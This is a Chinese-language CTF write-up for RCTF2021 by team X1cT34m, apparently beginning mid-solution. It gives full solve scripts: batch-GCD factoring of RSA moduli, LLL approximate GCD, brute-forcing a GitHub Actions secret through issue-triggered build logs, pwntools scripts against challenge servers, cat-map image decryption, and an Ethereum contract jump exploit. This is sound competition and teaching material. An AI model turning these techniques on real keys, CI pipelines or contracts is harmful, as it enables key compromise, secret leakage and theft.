print(t0[::-1]+t1[::-1]+t2[::-1]+t3[::-1])
# RCTF{We1c0m3_t0_RCTF_2o21_@&-=+}

Hi!Harmony!

内核文件
qemu-system-riscv32 -machine virt -smp 1 -m 512m -kernel liteos --nographic -s调试运行

Valgrind

看官方文档肉眼看ir

a = "t1me_y0u_enj0y_wa5t1ng_wa5_not_wa5ted"
b = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
c = ""
for i in range(len(a)):
    if(ord(a[i]) + 3 < 0x5a):
        c += chr(ord(a[i]) + 3 )
    else:
        c += b[  (ord(a[i]) + 3 - 0x5a) % 0x1a  -1  ]
print(c)

CRYPTO

Uncommon Factors I

RCTF2021 Writeup by X1cT34m-小绿草信息安全实验室

思路

  • 2^22个p中存在collision,两两GCD
  • 砸钱用Cado分解512-bit模数

$p$为312bit的素数,且从一个长度为$2^{48}$的区间中均匀随机选取。

根据素数定理,找到一个不大于$2^{312}$的素数的概率为

$$
\frac{1}{\ln{2^{312}}} \approx 0.0046
$$

因此,可以大概估计在这个$2^{48}$的区间中,素数的个数$N$约为

$$
N = 2^{48} \cdot \frac{1}{\ln{2^{312}}} \approx 1.18 \times 2^{40}
$$

再根据生日悖论,在N个数中选n个数(N >> n),至少存在一个collison的大概约为

$$
P \approx 1 - e^{-\frac{n(n-1)}{N}}
$$

本题中$n = 2^{22}$,概率$P \approx 0.9999986512965013$,几乎是必然会存在collision了。

n P
2^19 0.190382106
2^20 0.570344829
2^21 0.965921578
2^22 0.999998651

只要两两GCD即可找到collision,即分解出来$p$。

但是trivial algorithm需要$O(n^2)$的复杂度。

想起来以前看过的一篇paper: Mining Your Ps and Qs: Detection of Widespread Weak Keys in Network Devices

里面提供了一个$O(n\log{n})$复杂度的算法:

RCTF2021 Writeup by X1cT34m-小绿草信息安全实验室

用Python实现了一下

from Crypto.Util.number import GCD
from Crypto.PublicKey import RSA
import sys

with open("lN.bin", "rb") as f:
    data = f.read()

Ns = []
for i in range(0, len(data), 64):
    Ns.append(int.from_bytes(data[i:i+64], 'big'))

del data

Ns = list(set(Ns))[2**21:2**22]
print(f"read ok!\nlen(Ns): {len(Ns)}")

# product tree
print("product tree start")
mid_prod_list = [Ns]
while True:
    prev_prod_list = mid_prod_list[-1]
    next_prod_list = list()
    for i in range(0, len(prev_prod_list)-1, 2):
        next_prod_list.append(prev_prod_list[i]*prev_prod_list[i+1])
    if len(prev_prod_list) & 1:
        next_prod_list.append(prev_prod_list[-1])
    print(len(next_prod_list))
    # keep it
    mid_prod_list.append(next_prod_list)
    # update
    prev_prod_list = next_prod_list
    if len(next_prod_list) == 1:
        break

P = mid_prod_list[-1][0]
print("product tree over")
print(f"len(mid_prod_list) = {len(mid_prod_list)}")
print(f"P: {sys.getsizeof(P)/1024}KB")

# remainder tree
print("remainder tree start")
remainder_list = [P]
for prod_list in mid_prod_list[:-1][::-1]:
    print(len(prod_list))

    new_remainder_list = list()
    for i in range(len(prod_list)):
        new_remainder_list.append(remainder_list[i//2] % (prod_list[i])**2)
    print(len(new_remainder_list))

    remainder_list = new_remainder_list
print("remainder tree over")

for i in range(len(remainder_list)):
    N = Ns[i]
    z = remainder_list[i]
    if GCD(N, z//N) != 1:
        p = GCD(N, z//N)
        q = N // p
        print(i, N, p, q)
        break

Python太慢了。。。

后来又在GitHub上找到了这篇paper的实现代码: https://github.com/sagi/fastgcd ,是C语言写的,很快。

只要解析一下模数放到input.moduli文件中,然后./fastgcd input.moduli跑就完事,跑完的结果在./gcds文件里。

选了$2^{21}$个模数,(默认)4线程用时215s:

RCTF2021 Writeup by X1cT34m-小绿草信息安全实验室

改下源码,换成16线程,用时128s:

RCTF2021 Writeup by X1cT34m-小绿草信息安全实验室

Uncommon Factors II

$$
p = s + \Delta \
N = p \cdot q = q\Delta + qs
$$

s: 312bit
p: 200bit
$\Delta$: 104bit

approximate gcd

# read data
with open("lN.bin", "rb") as f:
    data = f.read()

Ns = []
for i in range(0, len(data), 64):
    Ns.append(int.from_bytes(data[i:i+64], 'big'))

# deduplicate
Ns = list(set(Ns))
# randomize
shuffle(Ns)
Ns = Ns[:50]

# https://eprint.iacr.org/2016/215.pdf  Section 3
t = len(Ns) - 1
m = matrix(ZZ, len(Ns), len(Ns))
m[0,0] = scale = 2**304
for i in range(t):
    m[0, 1+i] = Ns[1+i]
    m[1+i,1+i] = Ns[0]
ml = m.LLL()
s = Ns[0] // (ml[0][0] // scale)
s = abs(s)

print(f"s = {s}")
print(int(s).bit_length())
print(bytes.fromhex(hex(s>>104)[2:]))
# s = 5454658667965481801475881307368950020783908545117568437319138213194998453685853356091640271093
# 312
# b'\xa7[\xe3\x02l\xa0\xca\xf4.\xacSimpl3_LLL_TrIck'

MISC

welcome_to_rctf

签到题

FeedBack

问卷题

CheckIn

Github的Workflows中,查看build日志可以发现,secret值是被隐藏起来的,flag为5位纯数字,所以只要给它提issues,传入00000-99999,然后去build log看对应的哪5位数替换成了,对应的就是flag值

RCTF2021 Writeup by X1cT34m-小绿草信息安全实验室

如图,所以flag为:RCTF{52079}

Monopoly

有3个游戏难度,要在hard难度下拿到1000w money才能给flag

hard难度一开始可以输入一个seed,用来srand(seed)初始化随机数生成函数。

每一轮玩家和ai依次扔骰子(12点数)

地图大小64格

每一个格子有以下几种类型:

  1. 地块
  2. 免费暂停
  3. 抽奖(可能会输,也可能翻倍money) 冲!就这个点
RCTF2021 Writeup by X1cT34m-小绿草信息安全实验室

地图:
[1, 1, 1, 3, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 3, 1, 1, 1, 2, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 3, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 3, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1]
要满足一个种子走全3且rand出来的事件都是double很难。
但是存放位置,钱数量的变量在BSS上,且每次退出开始都没有置零,所以我们可以分开多次不同种子去实现double*5。
之后分别按照3的步数去走,第一次rand走到3,第二次rand保证>0xef,之后他还会再往前rand跳个步数。一直预测,预测五次double money后就满足>1000w条件

from pwn import *
r=remote('123.60.25.24',20031)
#r=process('./monopoly')
r.sendline('zihu4n')
def newplay(i):
    r.recvuntil('want play')
    r.sendline('3')
    r.sendline(str(i))
    r.sendline('4')
newplay(177)
newplay(639)
newplay(353)
newplay(130)
newplay(1849)
r.interactive()

coolcat

测试几个小图片发现,服务器总是返回600*600的加密图片(会对小图片进行重复拼接),所以为了方便跟踪前后坐标的变化,尝试把整张图片的值全设为(0,0,0),只保留一个像素点的值为(255,255,255),然后跟踪这个点的移动情况。

构造600x600黑色图片并设置一个白像素点:

from PIL import Image

def generate_image(pos, img_name):
    img = Image.new("RGB", (600, 600), (0, 0, 0))
    img.putpixel(pos, (255, 255, 255))
    img.save(img_name)

def get_point(img_name):
    img = Image.open(img_name)
    width, height = img.size
    dim = width, height = img.size
    pList = []
    for x in range(width):
        for y in range(height):
            if sum(img.getpixel((x, y))) >= 200*3:
                pList.append((x, y))
    return pList
(1, 0) --> (409, 330)
(0, 1) --> (330, 589)
(0, 2) --> (60, 578)
(57, 89) --> (483, 431)

用得到的这些信息(明文-密文对)对 p,q,m 进行爆破,得到25组情况(取2-4个点都是同样的25组)。

from tqdm import tqdm

def f(start, p, q):
    x, y = start
    nx = (x + y * p) % 600
    ny = (x * q + y * (p * q + 1)) % 600
    return (nx, ny)

def reverse(end, data):
    p, q, m = data
    nx, ny = end
    for _ in range(m):
        x = ((p * q + 1) * nx - p*ny) % 600
        y = (ny - q * nx) % 600
        nx, ny = x, y
    return (nx, ny)

def bf(start, target):
    ans = []
    for p in tqdm(range(600)):
        for q in range(600):
            tmp = start
            for m in range(10):
                tmp = [f(t, p, q) for t in tmp]
                if tmp == target and start == [reverse(e, (p, q, m+1)) for e in target]:
                    print("[+]", p, q, m)
                    ans.append((p, q, m))
    return ans

r = bf([(1, 0), (0, 1), (0, 2), (57, 89)], [(409, 330), (330, 589), (60, 578), (483, 431)])
[+] p  q  m
[+] 66 66 4
[+] 66 186 4
[+] 66 306 4
[+] 66 426 4
[+] 66 546 4
[+] 186 66 4
[+] 186 186 4
[+] 186 306 4
[+] 186 426 4
[+] 186 546 4
[+] 306 66 4
[+] 306 186 4
[+] 306 306 4
[+] 306 426 4
[+] 306 546 4
[+] 426 66 4
[+] 426 186 4
[+] 426 306 4
[+] 426 426 4
[+] 426 546 4
[+] 546 66 4
[+] 546 186 4
[+] 546 306 4
[+] 546 426 4
[+] 546 546 4

可以发现m恒为4,p,q有很多组取值情况,反推验证发现这些都是符合条件的。

但是尝试了几组p,q,m去解加密的flag图片还是解不出,可能是筛选pqm的样本太少了。

p, q, m = 66, 66, 4

def f(pos):
    x, y = pos
    nx = (x + y * p) % 600
    ny = (x * q + y * (p * q + 1)) % 600
    return (nx, ny)

def g(pos):
    x, y = pos
    nx = ((p * q + 1) * x - p * y) % 600
    ny = (y - q * x) % 600
    return (nx, ny)
f0 = (569, 284)
f1 = f(f0)
f2 = f(f1)
f3 = f(f2)
f4 = f(f3)
f5 = f(f4)
(f1,f2,f3,f4,f5)
# ((113, 542), (485, 152), (317, 74), (401, 140), (41, 446))

测试不同图片格式的时候发现,同样位置的白点,只要格式不一样,返回的图片(jpeg格式)上的白点位置也会不一样,所以有参数发生了变化。列出m不同情况下的(569, 284)偏移量,发现(317, 74)和(41, 446)分别对应m=3,m=5,所以m发生了变化,这时只需要对$m\in [1,5]$枚举一下,p q选择66 66,即可解密得到原图。

jpg : (569, 284) --> (317, 74)
jpeg: (569, 284) --> (41, 446)

exp:

from PIL import Image

def reverse(end, data):
    p, q, m = data
    nx, ny = end
    for _ in range(m):
        x = ((p * q + 1) * nx - p * ny) % 600
        y = (ny - q * nx) % 600
        nx, ny = x, y
    return (nx, ny)

def dec_ACM(img):
    p, q, m = 66, 66, 3
    assert img.size[0] == img.size[1]
    dim = width, height = img.size
    with Image.new(img.mode, dim) as canvas:
        for x in range(width):
            for y in range(height):
                nx, ny = reverse((x, y), (p, q, m))
                canvas.putpixel((nx, ny), img.getpixel((x, y)))
    return canvas

dec_ACM(Image.open("flag_enc.jpg")).save("flag.jpg")

Blockchain

EasyFJump

过proof of work:

from pwn import *
from hashlib import sha256

conn = remote("121.37.179.71", 10001)
# context.log_level = "debug"

conn.recvuntil(b"sha256(")
challenge = conn.recvline().strip().decode()

prefix = challenge.split("+")[0]
difficulty = challenge.split("('")[1].split("')")[0]
print(f"prefix: {prefix}")

nonce = 0
while True:
    if nonce % 100000 == 0:
        print(f"nonce: {nonce}")
    digest = sha256((prefix + str(nonce)).encode()).hexdigest()
    if digest.endswith("00000"):
        break
    nonce += 1

print(f"find nonce: {nonce}")
conn.sendlineafter(b"?=", str(nonce).encode())

conn.interactive()

[-] input your choice: 1
[+] Your game account:0x9D1f9BaA8578DD6C6c57d45ac826b0c46D4dbe21
[+] token: MqvvcGfCsr9kEa/5X2/XPkca8H937Gyh53lVdySMMiDpESxfWOeF10kVPrSz8Alz1+p6Lsir6pWg4OiKIwx6kIEMeS71zEjgN7RflTm4rQkgwjfY0znT5vwIxMGtn4It2ll3d8mtlsT/53iwlr4qKhkGbG7vKnfnhblqD3ITqPc=
[+] Deploy will cost 343308 gas

[-] input your choice: 2
[-] input your token: MqvvcGfCsr9kEa/5X2/XPkca8H937Gyh53lVdySMMiDpESxfWOeF10kVPrSz8Alz1+p6Lsir6pWg4OiKIwx6kIEMeS71zEjgN7RflTm4rQkgwjfY0znT5vwIxMGtn4It2ll3d8mtlsT/53iwlr4qKhkGbG7vKnfnhblqD3ITqPc=
[+] new token: rmRp7K+/0euelrXbWWwGENwX9IkAjLegetlBV0bcBEbnqNBRgYUalXhJmTy7/vhxsyx5Mr+YBk4e+xKR4nAnXLkPIY1+eGWjcN9mn6anOkMJvUkoLdoq8Q4TkdRgSkokKJ4S4Y0XitbDv55o1C2V9rtyiXxAI86YahwlNEY/z0d5ryUxDmMu/BJUw5L8vNgVUU28ePcJeXWw8V/DtK9j1Q==
[+] Your goal is to emit ForFlag(address addr) event
[+] Transaction hash: 0x8c1a7b7452c344207ae415d4a461ce0f55ad69656ebe71d10c4d4198e52cecf3

~ ❯ geth attach http://121.37.179.71:8545
Welcome to the Geth JavaScript console!

 modules: debug:1.0 eth:1.0 net:1.0 rpc:1.0 web3:1.0

To exit, press ctrl-d
> eth.getTransactionReceipt("0x8c1a7b7452c344207ae415d4a461ce0f55ad69656ebe71d10c4d4198e52cecf3")
{
  blockHash: "0x980a75bcc59e4e252bf064c8528a6b7a02d73fbef1767eaff7aff6fda70c4277",
  blockNumber: 79081,
  contractAddress: "0xb0003ab3acc5c65620a8be08aca0bbb5fa1e9ba8",
  cumulativeGasUsed: 260238,
  effectiveGasPrice: 1000000000,
  from: "0x9d1f9baa8578dd6c6c57d45ac826b0c46d4dbe21",
  gasUsed: 260238,
  logs: [],
  logsBloom: "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
  status: "0x1",
  to: null,
  transactionHash: "0x8c1a7b7452c344207ae415d4a461ce0f55ad69656ebe71d10c4d4198e52cecf3",
  transactionIndex: 0,
  type: "0x0"
}
> eth.getCode("0xb0003ab3acc5c65620a8be08aca0bbb5fa1e9ba8")
"0x608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630b21d5251461005c57806380e10aa51461009d57806389068995146100b4575b600080fd5b34801561006857600080fd5b5061009b6004803603810190808035906020019092919080359060200190929190803590602001909291905050506100be565b005b3480156100a957600080fd5b506100b26100d8565b005b6100bc61021f565b005b826000819055508160018190555080600281905550505050565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60010233604051602001808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506040516020818303038152906040526040518082805190602001908083835b60208310151561017d5780518252602082019150602081019050602083039250610158565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600019161415156101ba57600080fd5b7f89814845d4f005a4059f76ea572f39df73fbe3d1c9b20f12b3b03d09f999b9e233604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b610227610320565b60006a01f06512dec2c2c6e8ab3561023d6102f8565b14151561024957600080fd5b6a02b262ac4c65fddc17c7d561025d6102f8565b14151561026957600080fd5b6a02125ed5d7ddf56b0eba2861027d6102f8565b14151561028957600080fd5b6a018fbbc52638a0f3d00fee61029d6102f8565b1415156102a957600080fd5b6100d8826000019067ffffffffffffffff16908167ffffffffffffffff168152505061ffff600254600154600054030316905080348351010382526102f4826000015163ffffffff16565b5050565b6000600254600154600054600354020181151561031157fe5b06600381905550600354905090565b60206040519081016040528061033581525090565bfe00a165627a7a723058205e574cafe90a8834ebd97835ad7217711bc7b1f82758c9e9fad370cc564164770029"

要先过一个仿射密码

RCTF2021 Writeup by X1cT34m-小绿草信息安全实验室
RCTF2021 Writeup by X1cT34m-小绿草信息安全实验室

> eth.getStorageAt("0xb0003ab3acc5c65620a8be08aca0bbb5fa1e9ba8",0)
"0x0000000000000000000000000000000000000000000000000000000000000000"
> eth.getStorageAt("0xb0003ab3acc5c65620a8be08aca0bbb5fa1e9ba8",1)
"0x0000000000000000000000000000000000000000000000000000000000000000"
> eth.getStorageAt("0xb0003ab3acc5c65620a8be08aca0bbb5fa1e9ba8",2)
"0x0000000000000000000000000000000000000000000000000000000000000000"
> eth.getStorageAt("0xb0003ab3acc5c65620a8be08aca0bbb5fa1e9ba8",3)
"0x0000000000000000000000000000000000000000000000259c30dc979a94f999"

$$
v_1 \equiv av_0 + b \pmod{m} \
v_2 \equiv av_1 + b \pmod{m} \
v_3 \equiv av_2 + b \pmod{m} \
v_4 \equiv av_3 + b \pmod{m}
$$

化成等式

$$
v_1 \equiv av_0 + b - k_1m \
v_2 \equiv av_1 + b - k_2m \
v_3 \equiv av_2 + b - k_3m \
v_4 \equiv av_3 + b - k_4m
$$

做差
$$
t_1 = v_2 - v_1 = (v_1-v_0)a - (k_2 - k_1)m \
t_2 = v_3 - v_2 = (v_2-v_1)a - (k_3 - k_2)m \
t_3 = v_4 - v_3 = (v_3-v_2)a - (k_4 - k_3)m \
$$

消去带$a$的项
$$
p_1 = (v_2-v_1)t_1 - (v_1-v_0)t_2 = m (...)\
p_2 = (v_3-v_2)t_1 - (v_1-v_0)t_3 = m (...)\
p_3 = (v_3-v_2)t_2 - (v_2-v_1)t_3 = m (...)
$$

求GCD即可: m = gcd(gcd(p1, p2), p3)

m = 0x035b398678f7d30369dd4f (storage[2])

a = 0x88f2c5dad2ceaa0117f5 (storage[0])

b = 0x799b5d5ba62505c2fcf (storage[1])


tmp = (a - b - m) & 0xFFFF = 0x0ad7
target = 0x00d8 + msg.value - tmp

jump target:

RCTF2021 Writeup by X1cT34m-小绿草信息安全实验室

(0x00d8 + msg.value) - 0x0ad7 == 0x01BA
msg.value = 3001


利用思路:
call 0x0b21d525 + a + b + m
call 0x89068995 with msg.value = 3001

私钥: b"66666666666666666666666666666666"
地址: 0x0DF5283B84D83637e3E6AAC675cE922d558b296e

交互

from web3 import Web3, HTTPProvider

w3 = Web3(Web3.HTTPProvider("http://121.37.179.71:8545"))

private = b"66666666666666666666666666666666".hex()
public = "0x0DF5283B84D83637e3E6AAC675cE922d558b296e"

contractAddr = "0xb0003ab3acc5c65620a8be08aca0bbb5fa1e9ba8"

def generate_tx(to, data, value):
    if(type(to) is int):
        to = '0x'+hex(to)[2:].rjust(40,'0')
    txn = {
        'chainId': w3.eth.chainId,
        'from': Web3.toChecksumAddress(public),
        'to': Web3.toChecksumAddress(to),
        'gasPrice': w3.eth.gasPrice,
        'gas': 3000000,
        'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
        'value': Web3.toWei(value, 'wei'),
        'data': data,
    }
    return txn

def sign_and_send(txn):
    signed_txn = w3.eth.account.signTransaction(txn, private)
    txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    # txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
    print("txn_hash=", txn_hash)
    return txn_hash

func1 = "0x0b21d525"
a = 0x88f2c5dad2ceaa0117f5
b = 0x799b5d5ba62505c2fcf
m = 0x035b398678f7d30369dd4f
data1 = func1 + hex(a)[2:].zfill(0x20*2) + hex(b)[2:].zfill(0x20*2) + hex(m)[2:].zfill(0x20*2)
print(f"data1: {data1}")

tx1 = generate_tx(contractAddr, data1, 0)
print(f"tx1: {tx1}")

sign_and_send(tx1)

func2 = "0x89068995"
data2 = func2
print(f"data2: {data2}")

tx2 = generate_tx(contractAddr, data2, 3001)
print(f"tx2: {tx2}")

sign_and_send(tx2)
RCTF2021 Writeup by X1cT34m-小绿草信息安全实验室